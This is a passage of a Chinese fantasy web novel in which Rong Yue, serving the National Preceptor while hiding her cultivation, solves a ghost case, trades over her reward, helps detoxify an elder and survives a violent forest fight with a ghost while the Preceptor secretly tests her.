这么好?容月很怀疑。国师说话很少,一直慵懒懒的,在她的看来,国师不是冷漠,而是置身事外,他没有融入国师府的意愿,更甚至说,他没有融入国家。
容月问:“对于你们的请求,国师大人都是怎么做的?”
江阳玉:“国师大人摆摆手,或者‘嗯’,或者让他们离开。”
容月挑下眉,合着,是你们自己脑补的?
“江大人也很厉害,能读懂国师大人的意思。”容月赞叹,“我就不是很懂。”
江阳玉笑了笑,没说什么。
到达国师府中间最高楼,牌匾上写着‘镇楼’。
一进入,好多人员在整理卷宗,来来往往,有点嘈杂。
江阳玉先是带着容月登记造册,领了一块令牌,随后又领了卷宗,到一处空位:“这里就是你以后位置。走,带你去看看楼上。”
楼上二层,符纸,符器;三层,阵法阵盘;四层,法器;五层,修行功法。
江阳玉:“每层墙上都有目录,你可以用的东西都能看到。像符纸这种一次性的东西,就需要用你的奖励来抵。其他的,只要不损坏,能用,归还就好。”
容月内心很激动:“这,不用付钱吗?”
江阳玉笑笑:“不用,国师大人说,东西只要不坏,磨损是正常的。”
怪不得外面的修士对国师府没有好感,这些东西都是宗门免费送来的,还免费用,谁高兴。
江阳玉:“大人让你管的案子不急,可以慢慢来。”
鬼魂他们看不到,就算抓了,也交不了任务,容月为难问:“江大人,国师大人都完不成的任务,我......”
“这......”江阳玉也为难,“要不你问问国师大人?目前为止,还没有国师大人解决不了的事,有可能大人已经有眉目......”
“护卫长。”门口进来一侍卫,对江阳玉行礼,“国师大人吩咐,容月的任务他对接,只要他点头,就算完成。”
“既然大人吩咐,我就不多说什么。”江阳玉微笑着,“我还有事,先告辞。”
容月双手放在腰间,颔首,轻声细语:“恭送大人。”
江阳玉出了楼,传话的侍卫追上他:“大人,刚才那位是谁?看不出修为。”
江阳玉斜他一眼:“活干完了?”
侍卫温吞着:“没......”
“没有还敢在这闲话国师大人的人?”江阳玉呵斥,“赶紧干活去。”
侍卫:“哦哦。”
江阳玉是国师府内最懂国师的人,可以说是一人之下多人之上,但遇到容月,他有点不明白国师了,明明有吩咐他派人监视,为什么又让她入国师府?
江阳玉摇头,不明白不明白。
镇楼,二楼。
管理二楼的人是个老人,修为也就练气中期,不怎么爱说话,只把容月能用的符纸指出来给她看,需要哪了告知他即可。
普通人用的符纸都是不需要灵力加持的,比如起火符,起水符等等一些简单的,像是容月用的隐息符,竟然要百两银子购买一张,更高的符纸需要金子。
最高等级符纸容月没有看到。
最终,她只能用的起最低的灵力符。灵力符是最容易制作,普通人也能用的东西。
到了三楼,是位婆婆,练气后期的修为,话比较多。
给容月推荐阵盘时,还会给容月建议。
“阵盘大多需要灵力维持,你一个没有修为的娃娃用阵盘很难。不过,这里有两用的,使用灵力是一种威力,不适用就是另外的作用。”婆婆在桌子上摆着五个,“简单的困阵,护阵,隐蔽,传送,最后这个是聚灵,你用不到。”拿走一个,“剩下的,你可以选择三个带走使用。”
容月选择困阵、护阵和传送。
婆婆:“我建议选隐蔽,传送阵盘要是拿不回来,你得赔。
容月立刻把阵盘换了。
“但你是普通人,要是跑不了的话,还是需要传送的。”
容月:“......不了,就这三个吧。”
婆婆热心肠:“你还不会用吧。”拿起一个阵盘,“看上面的阵纹,只要你相对转动一下,形成圆形,阵法自动开启。简单吧?”
容月认真点头,会的。
离开‘唠叨’的婆婆,到了四楼,看管的人看了她一眼,拿了一把木剑给她:“你只能用这个。”
木剑看不出材料,介绍说是辟邪的。
五楼,功法层。
功法只给入门的,容月没有检测资质,直接大包大揽,给了她所有入门功法:“适合哪个学哪个。”
容月:“那没用的呢?要还回来吗?”
“成堆的东西,无需归还。”看守人瞄了眼容月,“这些东西够你花费一年时间研究哪个适合自己,一年时间学习,至于入门......这么说吧,护卫长都要花费三年时间入门,你......
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”他摇摇头。
容月尴尬地笑咧咧嘴角,没有多说的离开。
边下楼梯,容月边把功法玉牌攥紧在手里,脑海里浮现功法:“嗯?这是,入门功法?”
对比绒绒给的功法,这里的功法简单的令人发指,好像是从哪个地方摘抄出来,随意组成的功法。
她挨个看了看,没学过的功法看的满头疑惑,想到国师府这些修士尽然学习这些功法入门,容月满脸敬佩:“就这么点文字,他们是怎么入门的?”
如果给完整入门法诀,那江阳玉的修为不是更高?
“呵。”与容月擦肩而过上楼的男子不屑道,“入门需要有人带领教学,自己琢磨怎么可能入门。”
原来是这样。
到了一楼,随意抓了人问:“任务完成后去哪里交?”
那人指指对面:“前面的院子就是交任务所,奖励兑换也在那。”
容月:“感谢。”
所有东西准备结束,容月没有耽搁,再次去了上午的农户家。
中午时分,农户家正吃着饭,容月不好打扰。
想要使用灵力把狗拴住,绒绒悄声说:‘小心,有人监视你。’
容月老实收回手。
徒手抓的话,她有点怕,问身边的鬼影:“你能否帮我把那只狗抓来?”连忙又加一句,“我帮你去鬼域。”反正她要带奶奶奶去,顺带一个没什么问题。
鬼影摇头。
“不行?”鬼去鬼域不是最好的选择吗?
绒绒:‘你怕狗?’想到什么它恍然大悟,‘你刚开始看到我,那么怕,不会是......’
容月不给它正眼,继续问黑影:“带你去看小翠和弟弟。”
鬼影继续摇头。
她不是为了家人留在这?
容月:“给你一次灵力润养。”怕她再摇头,继续道,“如果不行,我没有其他东西给你。”抬起手掌等着她。
鬼影桩子似的站了会,缓缓碰了下容月的手。
“我在屋后等你。”
容月蹲在茅草屋后,为了迷惑监视的人,专门拿出灵力府一张一张甩着玩。
不一会儿,就听到狗狗委屈巴拉的‘嗷呜嗷呜’声。
她勾着头,鬼影一只手拽着狗耳朵,提溜过来。
容月:“强悍。”
“姐姐?”小男孩的声音。
容月回头,农户家小儿子睁着大眼睛望着她:“你是今早来的姐姐。”他学着容月蹲着,好奇,“姐姐,你蹲在这里干什么?”
容月一时间不知道怎么回答。
“拉屎吗?”
容月:“咳咳咳,不是不是。”
小男孩歪头等她回答。
鬼影和狗靠近,狗的叫声变了,对着容月狂吼。
容月问小男孩:“你家以前是不是有只大狗?”
小男孩点头:“嗯,姐姐怎么知道?我家的大狗死了,被爷爷打死了,它咬死了家里的下蛋鸡。”委屈道,“我想狗狗。”
容月灵机一动:“那你想看看狗吗?”
“可以吗?”小男孩高兴,“我大姐说,狗狗死了是看不见的。”
容月:“试试。”
12. 第十二章
容月等着狗被带过来,对旁边蹲着的小孩说:“你先闭上眼睛。”
男孩闭上眼:“然后呢?”
容月对着他的眼睛施加灵力符,保持不散:“现在睁开。”
男孩睁开眼,疑惑着:“没有啊,姐姐。”
容月:“再闭上。”
男孩再闭上眼。
灵力符加多,容月特意吩咐:“如有不适,和我说。”
男孩:“好。”
“睁开。”
“姐姐,还是没有。”
来回几次,孩子有点急了:“姐姐,还要多久啊。”
容月义正言辞:“想要看到狗,哪那么容易,肯定要久一点。”
等容月耗费大半灵力符,让男孩睁开眼,男孩惊喜道:“看到......”一瞬他撇下嘴,“一下就没了。”
容月呼口气,有用:“最后一次,闭上眼。”
男孩闭上眼。
容月用灵力符时偷偷夹杂着自己的灵力,把灵力包裹其上,放在男孩眼前:“可以了。”
男孩睁开眼时,容月站起身,挡住鬼影。
男孩激动:“豆子!真的是豆子!”他跑过去,很开心地摸着狗头,“豆子,我好想你,豆子。没有你,都没人和我玩了。”
狗也激动的叫唤:“汪汪汪!”
一人一狗说了几句,水幕散去,男孩看不见狗,又虚空说:“豆子,大姐说,你死了不能留在这里,会被国师府抓走的。你快走吧,不要跟着我了。”
说完也不再看容月,抹了把脸,呜咽着跑走。
小主人离开,容月害怕后退,赶紧离开,反正她实验成功。
退了几本,看过主人的狗子,摇着尾巴对容月叫了声‘嗷呜,汪’,趴在地上,表示自己没威胁。
容月继续慢慢后退:“不要跑不要跑,它会追。”
退了一段距离,容月转身正常走几步,悄悄回头,狗子摇着尾巴跟在后面:“什么意思?”
侧头想让黑影帮忙,自己好像没有什么东西给她,给的东西又不要,不好交易。
和鬼怪做交易,必须等价交换,不能欠着,这是奶奶说的,容月很听话。
‘汪。’狗狗摇着尾巴过来嗅嗅容月的腿。
容月寒毛竖起,如果现在是动物状态,就是炸毛。
狗狗只是嗅嗅,老实地跟在她腿边。
容月凝眉:“你,要跟我走?”
‘汪’
竟然能听懂人话,害怕感降低不少。
容月:“你能否稍微离开点。”
狗狗‘汪’了一声,还是贴着她走。
容月无奈。
她被狗狗赖上了。
不过,可以利用这只狗,完成任务。
回到国师府,容月满脸带笑,提着裙摆,小跑着进国师大人的院子。
景离午膳刚用完,容月满手拿着符纸找到他:“大人,我找到了。”
景离慢条斯理接过下人递过来的丝巾擦手:“找到什么?”
“找到了作怪的东西。”容月双手捧着灵符纸,“之前一直问国师大人有没有看到过鬼魂,护卫长说,不会有鬼。我只是普通人,不知道你们修行者的弯弯绕绕,如果有查不到的东西,我就会往神怪方面想。”容月有凭有据,“想着,如果光眼睛看不到鬼怪,那在眼上加持灵力怎么样?”面带微笑垂眼看手里的符纸,“是以,我就把灵力符纸加持在眼睛上,一张不够就两张,一直加,最后,我看到了一只鬼狗。”
“鬼狗?”景离轻挥手,让下人把东西撤掉,“你过来。”
他带着容月到了院子里,相对而站,脸上的半面黑金面具下,薄唇轻启:“狗现在在哪?”
容月假意看看周身:“应该跟着来了吧,他小主人让它跟着我走。”小主人只让它走,约等于跟着容月走。
景离:“怎么做?”
容月把符纸从眼前划过,符纸消失,灵力加持在眼前:“像这样。”
景离抬手,施加灵力,在眼前划过,头微微转动:“没有。”
容月:“加大量。”
景离加大灵力,还是没有。
容月再让加大。
加到第五次的时候,景离终于看到容月脚边有只狗,且她身后还站着一只人形鬼,一眨眼的功夫,他就看不见了:“为什么你后面会有女鬼?”
“啊?!”容月‘惊慌失措’跑他后面,“哪里哪里?”手里符纸往眼前施展,“我怎么,看不到。”
景离瞥见手腕处纤细的手,他赶忙接着转身,躲开:“在你身后。”
容月胆怯又柔弱着双手相握腰间:“灵符没了......我也,不敢看。”惊恐问她,“鬼影会伤害我吗?”
景离看了她一眼,无言地往院里的小亭子走:“江阳玉。”
容月:“嗯?”
景离刚在亭子坐下,门口出现江阳玉的声音:“大人。”
容月惊异:“这么快?”
景离倒着茶:“容月,和他说。”
容月颔首:“是。”
容月大体和江阳玉讲了自己的发现过程,没有很详细,告知自己的辛苦发现外,也说了为什么自己不能抓,她是普通人。
江阳玉感概,还真是鬼所为。他和国师大人固定思维,认为鬼不会在都城,第一排除的就是鬼。
“鬼为什么我们看不到了?”江阳玉最在意的就是这个,“是否死时发生了什么?”
景离悠然放下茶杯:“不管是人还是动物,灵力加持在眼上就能看到,不是死的问题。去查。”
江阳玉:“是。”
景离:“把她的案子交给其他人,顺便看看她身边的鬼影。”
江阳玉看了眼容月:“是。”
容月:“等等。”郑重道,“大人,虽然我没有抓到主犯,但我提供最主要的线索,如果没有线索,要死更多人,还都是无头冤案。”
景离侧头。
“我的功劳起码占一半。”容月低了下头,抿了抿唇,抬起头道,“案件办结给贡献值,应当有我的一半,还得把我用的符纸免除。”
景离半响缓缓开口:“免除符纸,四分之一贡献值,帮你解决身后女鬼。”
容月脸色变了变,斜了眼身后,毅然摇头:“一半,免除符纸。”
“三分之一,免除符纸,不帮你解决身后女鬼。”
容月干脆利落:“成交。女鬼我自己解决,反正国师府有这么能人,总有人帮我,还免费。”
景离拿茶具的手顿在那。
江阳玉:“......”为什么感觉大人被坑了。
容月压着嘴角跟在江阳玉身后,到‘镇楼’前面的院子登记奖励。
“卷宗十份,每份因查不到线索提升到中档,十分贡献值,你......活得三十分贡献值。”江阳玉交给她令牌,“里面已经记录了贡献值,可以在这里兑换物品。”
容
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月恭敬接过:“多谢大人。”
“你是幸运的。”江阳玉羡慕,“一般中级十分的案子很少,五分的居多,还很难办,大多修士得一个月才能完成一件,你一下事件。不过,鬼魂还是好抓的,接案子的人应该也开心。”
容月微笑:“我也开心。”
拿到贡献值,容月立刻就去兑换东西。
换草药类容月看过,很划算,一积分可以选择五株,不过历婆婆给的药单上有几种贵的,一株要三积分。为了混淆监视人的视线,容月换了多种便宜的草药,咬咬牙,又多换了好几种贵的,一下子积分见底,只剩五积分。
“有种子吗?”容月问管理人。
管理人:“种子多了去了。”手一抚,种子类别出现在玉牌之上,“一积分可以兑换三十粒。”
“多少?!”容月瞪圆眼睛。
“都是基础种子,贵的种子只能在宗门长。”
容月平复:“哦。”
但这些种子都是容月需要的,制作回灵单、灵气但必备。
容月把剩下的五积分全部换成种子,一下子,她感觉自己富有了。
晚上。
服侍完国师,容月回到房间,拿出抽奖给的东西,圆圆的球。
“这个东西能变成另外一个我?”容月新奇转动,喃喃,“木傀儡”
绒绒:‘外面监视的人肯定发现不了,只要国师不会无缘无故来房间找你。’
容月皱眉:“有可能,他很空虚。之前一直不明白,他为什么让我做侍女,今天我知道了,除了我是陆无虞的未婚妻外,还能给他提供乐趣。”
绒绒:‘那怎么办?’
“不怎么办。”容月一捏圆球,球体滚落地上,逐渐变大,变成容月的模样,“发现就跑,历婆婆的药已经备齐。”
容月把傀儡按到床上,吹灭灯,自己悄悄从屋□□的洞出去。
黑夜掩盖身形,隐蔽玉佩掩盖气息,安全在国师府穿梭。
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景离站在二楼望着月亮,听着后面江阳玉汇报,不时提问:“没有任何使用灵力痕迹?”
江阳玉:“没有。孩童也说了,他是让狗狗走的。监视的人汇报,容月是在消耗符纸。一切都正常。”
“今日兑换的东西有何异常?”
江阳玉:“都是一些简单的草药,搭配的话有好多种,养神、提起、治疗一些病症的、戒毒的等等,都可以。种子都是速成的种类,可以制作回灵丹、灵气丹等等,想要修行,这些必备。一般国师府的人也会兑换这些,除了修行,也可补贴家用。”
她难道真的没有修为?不是她?那就留着用在陆无虞身上。
“国师大人,属下有急事请见。”楼下一护卫道。
景离:“进。”
护卫上楼:“大人,那十份卷宗已经解决了九份,除了狗跟着容小姐,其他鬼魂已经在送往鬼域的路上。最后一只,抓不到。”
江阳玉不解:“为何?”
国师大人在容月提供的线索上做了简版,只要做两个小玻璃圆环,在圆环两边做槽,槽里放置小型灵力阵盘,就可以长时间看到鬼魂,不应该抓不到。
“那鬼魂战力惊人,还可以躲藏,装备支撑不了太久,换完阵盘她就跑了。”
景离回身:“江阳玉,明天让容月跟着我一起去。”
江阳玉:“是。”
他要试最后一次,在危机关头,容月总该用最后的手段。
13. 第十三章
一切不知的容月,从镯子里拿出包裹,背着靠近院子,按照历婆婆所说的,在花园边一处石坛上敲击三下,不一会儿,李从梦满脸红润,做贼似的开了门。
李从梦:“快进来。”
容月进了门,把东西放在地上,拽过李从梦的手查看:“你好了?”
“好了。”李从梦自豪着,“不仅好了,我还入门了。”
容月微笑着拍了下她的胳膊:“很棒。”
“诶,你可别嘲笑我。”李从梦帮她把包裹扛着,“你都练气初期,马上要突破中期了。”
“没办法。”容月一本正经,“我学得快。”
李从梦恼羞:“容望舒!”
容月挑眉抬手,握拳:“承让。”
“啊!”李从梦单手掐她脖子,“弄死你!”
容月抬脖子给她掐。
“咳咳咳咳。”历婆婆扶着门,脸色比之前惨白点,“容月回来了?”
容月和李从梦停止打闹,上前扶着她:“婆婆,我已经把所有药材找齐,今日就可以给你解毒。”
历婆婆让开她们,不让扶:“还没到走不了的时候,别把我当病患。”
这里没有专门熬药的东西,倒是有做饭的小锅,历婆婆已经让李从梦拿出来,放在小炉子上:“国师府的药材是最齐的,国师府都没有的药,宗门也不会有。”
药材本就是干净的,容月按照历婆婆给的单子,挨个放在盘子里:“婆婆,国师府为什么比宗门的东西还全?兑换的积分还少。”
“高级药材都收在国师大人的手里,你是兑换不动的。”历婆婆挨个查看药材,逐个放进锅里,“还好柳筠的毒不是很厉害,这些解毒药材足够。不过,要是你进不了国师府,我可能就......外面不一定买到。至于为什么......”婆婆盖上盖子,“你进过国师府的‘镇楼’了吧。”
没进过不可能拿积分换东西。
容月:“是。我做了国师的侍女,他让我帮助查案。”
李从梦来精神:“国师为什么让你做侍女,你们之间发生什么了?”
容月不自在得敷衍:“说来话长,以后告诉你。”
李从梦撅嘴。
“‘镇楼’,你说哪个好人会把楼叫‘镇’?”历婆婆说。
李从梦注意力被转移:“‘镇’?镇压?国师府地下有东西被镇压?”
“不,也有可能是镇住什么。”容月猜测。
婆婆为炉子扇风:“不管是‘镇’什么,联想宗门要免费给国师府送东西,必定国师府承担了什么。这些不是你们想的问题,宗门那些长老自会保护这里。”
李从梦耸耸肩,忽然看到窗外鸟飞过,她激动对容月说:“忘了和你说了,我哥要回来了,你不用费劲攒灵石。”
“李慕青什么时候回来!”容月也高兴,只要李家大哥回来,她救母亲和奶奶的成功率更高。
李从梦:“他给的信息是半个月前的,扣除鸟在路上的行程,应该半个月不到。”
“半个月不到。”容月自语,“那我得抓紧修炼。”练气初期一直卡着,只要回灵丹和灵气丹足够,就可以试着冲击中期。
刘小翠的速成草药因该会很快成熟,到时候,看能不能炼制丹药。
她问历婆婆:“婆婆,解毒完,你要带着梦梦离开这里吗?”
历婆婆:“国师府灵气虽然比外面高点,但人眼杂,梦梦好久没有吃饭,辟谷丹她暂时还受不了。”
李从梦摸摸胃,难受。
容月拿出小包裹交给李从梦:“你把这个交给小翠。”
容月:“我暂时走不了。现在离开,会引起国师怀疑,还要弄点灵石,以备不时之需。”
“什么?”李从梦拉开点缝看。
容月:“种子。看能不能让小翠种点。婆婆讲过丹药可以自己炼制,我想试试。”
历婆婆:“可以。”
三人聊天间,锅烧了很久,药熬得差不多了。
历婆婆喝了药,去旁边练功房排毒。
容月和李从梦相互靠着,在外面等。
“你哥回来是为什么?”容月问,“他长期在外找人,最短时常都是半年,这次怎么三个月就回了?”
李从梦靠在她肩头:“说是有线索。”
容月:“在都城?”
李从梦扣着手指:“不懂。”
容月拽过她的手,摸膜被她扣的地方:“这次回来,他会不会带你走?”
李从梦小声:“不知道。”
“你有我。”容月语气坚定,“不管去哪都带着你。”
李从梦嘿嘿笑:“知道。”
“如果你哥这次回来要带你走,你就跟着他走。”
“为什么?”李从梦坐直,抽回手,“你娘和奶奶还没救出来,你让我走?!你嫌弃我!”
容月按住她解释:“我那不是嫌弃,我是担心你。”
“哼。我哥回来,我一定强迫他留下来帮忙。”李从梦耍赖。
容月:“你哥也才练气中期。”
李从梦拽拽她袖子:“哎呦,他这个半路哥哥没有你重要。
容月满意极了:“行吧,同意带上他。”
练功房门打开,历婆婆清爽得从里面出来。
“婆婆,你好了?”李从梦蹦跳过去。
历婆婆摸摸她狗头,对容月说:“我好了,我们走吧。”
李从梦:“走。”
带着历婆婆和李从梦离开,安抚黏糊的李从梦后,回到住所,躺在床上,容月感觉心里放松一半。
有了李慕青加入,救人好办多了,现在只要准备好车,备点灵石,在救出母亲和奶奶后,直接离开这里,国师就算怀疑也并不知道她跑哪里。
绒绒:‘救出你母亲和奶奶后,打算带她们去哪?’
容月:“还能去哪?当然是鬼域。我娘和奶奶是普通人,要去投胎的。之后,就和梦梦一起,跟随她哥和历婆婆,去闯荡。”
看到床边的一人一狗黑影,她想起刘小翠:“我会带你去看一眼家人,然后带你和狗狗去鬼域,不用谢。”安心闭上眼,睡下。
她没看见,鬼影身上的黑气突然变浓,狗狗上前嗅嗅,忽然挡住床前,低吼:‘吼。’
容月转身朝里:“豆子,不要吵。”
狗狗不叫,老实地爬在床边看着黑影。
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灰雾蒙蒙,四周空空荡荡。
一条纱幔眼前飘过,容月轻轻握住,纱幔垂落,绕在她手上:“好熟悉的触感。”
“你当然熟悉。”景离的声音出现身后,“这是‘那天’的纱幔。”
纱幔顺着手落地,容月尴尬地手都不知道怎放:“大人说的‘那天’是什么意思,我不是很明白。”
“哦?”景离贴进她,修长有力的手指抬起她下巴,盯着她眼睛,“要不要我给你回忆回忆?”
迷蒙的脸看不清,只有一双带着情欲的眼睛清晰地映入容月的眼睛:“倒也不必。”
“呜呜”一只大手掐住她的脖子。
国师的眼睛还是那双带着情欲的眼睛,但话却狠毒:“谁让你假扮‘雅儿’?嗯?你配吗?”
容月艰难扒着他的手,嘴里挤出几个字:“放开......我没有。”
呼吸越来越困难,容月颤微着抬起手,使用灵力戳中那双眼睛。
力道消失,容月从梦中醒来,双手捂着脖子急促喘息:“呼呼呼!”
‘汪汪汪。’
豆子把小翠母亲逼到房门前,对着她叫唤,听到容月醒来的声音,摇着尾巴回来谄媚容月。
容月摸摸它:“好了,知道你被她抓过,那是你犯错误了,安静。”
狗狗:“汪。”趴在床边。
容月呼出一口气,太可怕的梦,千万不能成真。
天色渐亮。
容月提摆进国师房门,国师大人正好从里面出来:“走。”
容月迟钝会儿,跟上:“好。”
国师府门前早有侍卫把马车准备好:“大人。”
景离上了马车,容月很自然地跟着,被侍卫拦着:“你是侍女,坐外面。”
容月点头:“哦哦。”
侍卫驾着车,一路疾驰,一个时辰后,官道上寥寥几辆马车擦过,被甩在后面。
“这马车好快。”容月感慨。
侍卫:“当然快。这是用灵气加持的车,马是感觉不到自己拉着东西,马跑多块,它就多快。”
原来这就是灵力车。
到了岔路口,车上了小路,缓缓停在一处村落。
侍卫:“到了,大人。”
容月下来,景离紧随其后。
景离吩咐侍卫:“你在等。”
侍卫:“是。”
进入村落,容月明显感觉,这个村子像是空的,烟火气都没有:“大人,我们来这是......”
景离没说话。
村子两边是泥房,中间的路还听板正。
一直走,路的尽头有间房子,看着像村长家。
景离敲门。
里面没人回应。
景离:“国师府来查案。”
半响,一个老头打开缝,看到景离和容月,小声说:“之前我都告诉官爷了,没有什么可说的了。”
景离:“别怕......”
“啊。”身后的容月一声急促叫声,打断他的话。
吓得老头‘嘭’地关上门。
景离转头,容月被什么东西拽着跑远。
容月喊着:“大人,救命!”
景离甩袖,慢慢跟上。
容月双手扒着脖子,狗狗追着狂吠,想咬住容月的衣服,咬不到。
刘小翠她娘也跟着,但她就是跟着,没什么动作。
容月:“你能不能攻击她,我给你找个好人家投胎这么样?”
勒着她脖子的黑影尖锐地笑了:“哈哈哈哈,投胎?就她?”
容月被她的笑声激起一阵鸡皮疙瘩:“你笑什么?”
“笑你说的笑话。”黑影加速,甩开狗和刘小翠母亲,带着她到了一片树林停下,把她扔到树下,“应该够远了。”
容月‘颤微’后退:“我是国师府的人,刚刚那个是国师,他马上就能找到我。”
黑影浑身上下全黑,连脸都是黑的。刘小翠的母亲起码只是身上黑,脸和手都是白的。
黑影尖尖的嗓音:“你说他是国师?那我怎么敢出来的?根本没修为。”
景离掩盖了修为!
刘小翠母亲追上来,挡在容月面前。
黑鬼影嘲讽:“怎么,凭你打过我?人话都还不会说。”
容月悄悄后移。
刘小翠母亲喉咙里呼噜着:“赫赫。”
“怎么就是你的。”黑鬼贴进小翠母亲,“之前遇到你的时候,你不是找的你闺女吗?”
什么意思?
小翠母亲:“赫赫赫,赫赫赫。”
她好像说了很长的话。
黑鬼:“诶?话不是这么说的,规矩是规矩,但也不能毫无时限的给你,你没成功抢到身体,现在当然到我了。你眼光不错,找到这么好身体。”
小翠的母亲不是好鬼!
小翠母亲接着说:“赫赫......”
“就你那梦......”
容月转身往来的方向跑:“大人,我在这!”
黑鬼影不耐烦,把她掀翻:“滚开,给你脸了。人都差点跑了!”
黑影朝着容月奔来,狗狗啊呜一口,咬住他。
黑鬼影咬牙:“死狗!死了都不安生。”
容月边跑边回头,看到狗子要被抓,她高喊:“豆子,过来。”
狗子松开嘴,灵活躲开黑鬼。
黑鬼朝着容月背后一吸:“想走?”
容月被一阵吸力往后拉,她习惯性要用灵力,想到国师不可能这么长时间没到,很可能在哪里监视,她放下手,扔起拖走。
看来,这次要靠纯武力。
狗狗还拽着容月的衣服,不让她被拉走。
身体向后拉,等快靠近,容月从腿上抽出一把木剑,单手撑地反转,另一只手持剑,划过黑影,黑影松手后腿:“小丫头,留了一手。”
木剑是当时没用到过,忘记交回去。
狗狗要去咬黑影,容月喊着:“豆子,回来。跟好我。”狗子根本不是对手。
黑鬼甩出双手,变长,甩动,像鞭子一样。
容月连续翻滚,后撤,不恋战:“走。”
黑鬼升起鬼雾墙,容月穿过去,又换到原来的地方:“鬼打墙?”
灵力可以完美解决,可现在只能用剑。
容月甩剑,划开黑雾,身后的鬼抓抓住她的衣领,拎起,撞树。
“唔。”容月身体撞到树上,没有灵力护着,实打实的疼。
剑背插,戳都鬼手,鬼手松开。
容月就地一滚,向外跑。
鬼手变成鞭子,卷住她一条腿,快速拽,升高,摔向地面。
“噗”容月一口起吐出来。
再次被拽起,容月弯腰倒挂,斩断一节手。
“啊!”鬼影缩回受伤的手,慢慢长出来,用另一只手甩过去。
容月躲过后,想继续跑,顿
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住。
跑去哪?哪里有人救她?国师不来,明摆着就是要她露馅。
她不能露馅,不能让国师知道她假扮了他的‘白月光’,不然就如梦境里一样,被杀。
容月提着剑,擦着嘴角的血迹,回身轻蔑地看着黑鬼,以及站在旁边一直没有动作的小翠母亲。
黑鬼:“怎么,不跑了?”
“既然你这么想玩,我就大发慈悲,和你比划比划。”容月咳嗽一声,带出点血。
黑鬼开心大笑:“你一个普通人,想跟我玩?好!”
容月四周升起黑雾,光线渐渐变暗,只留一束光在她和黑鬼中间。
空间传来声音:“你愿意与我对决吗?用你身体做赌注。”
容月:“不赌。”
黑鬼:“......”
容月抬剑,直指黑鬼:“用你的魂赌,输了,你魂飞魄散,赢了,你魄散魂飞。”
黑鬼怒了:“臭丫头。”
黑鬼裂开,幻化出多个鬼影:“本想给你留个魂......”
容月:“但我不想给你留魄。”
从外面看,黑雾罩住容月,好似一个蛋,密不透风。
狗和小翠母亲都在外面。
不远处一颗大树顶端,景离脸上一只眼带着圆圆镜片,观看状况。
容月没有使用灵力,就连受伤都没有用,景离内心的怀疑开始减弱。
等容月被罩住,景离有片刻紧张,被他压下:“为什么我会紧张。”他要再等等。
里面的容月,运用历婆婆和李慕青教导的体术,还有绒绒给的简易剑术,闪躲速度快,还斩杀好几个黑影。
她身上也挂了很多彩,衣服划破带血迹,身体没有灵力洗刷,有点累。
“呼。”容月肌肉记忆甩剑,割断一只鬼影,被另一只鬼影打一拳,飞出去,“咳咳。”
起身,下腰躲开攻击,被缠住腰,甩出去,地上一尖尖的、粗壮的树枝穿透她的胳膊:“唔。”
血低落,被黑影接过:“美味啊。”
容月单手转剑,反手后刺,又一鬼影消失。
就只剩下主体黑鬼:“还停能打。那就看看,你能不能躲开我的木刺。”
黑蛋的外面,大量的树枝断裂,无形地被削成尖尖的头,对准黑蛋里面。
景离看到此景,飞身下来。
狗狗一直爬在外面,盯着黑蛋,景离来也不关注。
小翠母亲微微往树后躲。
景离:“再等等,再等等。”
木刺越来越多,里面的容月被黑鬼骚扰,消耗体力,黑鬼外围的黑气也在变少。
等外面都密密麻麻了,变小的黑鬼停住,双手举国头顶,声音带着激动:“你给我去死吧!”
容月还傻傻地喘着气看它,就听到‘唰唰唰’破空的声音,四面八方全是木刺。
容月面色一沉,提着木剑挡,朝着黑影跑。
她明白了,这些木头是黑鬼做的,它变小就是变弱了,不能错过这次机会。
容月紧盯黑鬼,没有特别留意木刺,擦伤是小事,很多木头直接扎到肉里:“啊。”
容月继续盯着黑影,只要没有击中要害,不阻碍她攻击,她不管。
“噗呲。”木刺穿过左手手掌,手行密密麻麻。
“噗呲。”双腿都是刺。
木刺越来越多刺穿她身体,血越流越多,浸湿衣衫。
终于,在黑影享受容月被虐而忽视距离时,容月瞬间反扑,咬着牙,用尽全身力气攻击。
黑影闪躲不急,被她追着砍,胸口不留神被刺穿,更多起散去,
“啊啊啊啊!”黑影胡乱抓着黑气,想把它们放进身体,却放不进去。
黑影慌了,感受身体的飞散,它怒了:“我死也要拉你垫背!”
景离感受黑蛋气息不对,好像要爆开。
双手施法,化解黑蛋,指剑黑鬼,灵力闪电般击中它。
黑鬼都没来得及叫喊,就消失在空气中。
满身刺的容月,滴着血,无神地望着景离。手里的木剑断了一节头,衣服只比布条好点,头发上还有木条,就这样的她,只有一只手能动的情况下,还给景离行礼:“大人,我算是完成任务了吗?”
景离又感受到那股熟悉感,很熟悉很熟悉,这次能引起他心跳。
第一次见容月时,熟悉感只一闪而过,第二次被吓到撞他时,也一样。
第一次见面,虽然没有看到她的脸,但可以察觉她的紧张的;第二次被吓的那次也是紧张;这次,她作战的时候,精神也是高度紧张。
现在她不再紧张,熟悉感消失。
此刻,就算她是‘那个’人,景离也不想杀她。
容月拖着像是残废的身体往前景离方向挪:“我记得,这个任务,是一个,村子里,这段时间,无缘无故,死人......唔!”
容月身体突然紧绷,双手攥紧,脖子上的筋暴起,眼睛紧闭。
景离刚才出神,没有注意,等容月满脸痛苦,他才发现,容月的身后有一团黑气,狗低声呜咽,在咬着什么,往外拽。
他手指架着符纸,朝着容月打过去,黑雾被打出体外,随后一道雷击,打在容月身后。
雷击刺穿小翠母亲身体,‘啊啊!!’在她痛苦的叫声中,消散于天地。
容月彻底脱力,跪在地上,粗喘气。
‘汪汪汪。’狗狗穿过她的胳膊,让她靠在身上,‘汪汪汪’。
容月顺着力道坐在地上:“还好,有你帮忙。也多谢,国师大人。”
‘汪汪汪。’
景离踏一步上前:“你......”
“请国师大人,稍等,片刻。”容坐虚弱坐地上,用没有受伤的手,把腿上的木刺,一根,一根,扒下来,提着长裙,咬牙撕开长条,绕着腿缠起来,少出血。
受伤胳膊上的刺拔完,景离又上前一步:“我......”他想帮忙。
容月打断他:“国师大人,请,再等,一下。”没有犹豫,把最大一根拔出来,她一声没吭,继续撕着布条,缠绕。
没有受伤的胳膊上也带有几根刺,她用嘴咬,咬不到就让豆子帮忙:“好狗狗。”
‘汪汪汪。’狗狗摇尾巴。
一切收拾好,容月扶着树,颤颤巍巍起身:“国师大人,可以走了。”
景离注视她一会儿,说道:“包扎得不错。”
容月拖着腿,客气笑:“从小到大,包扎习惯了。”
她单手放腰间,不标准的颔首:“国师大人,任务已经完成,我们回吧。”
景离:“......好。”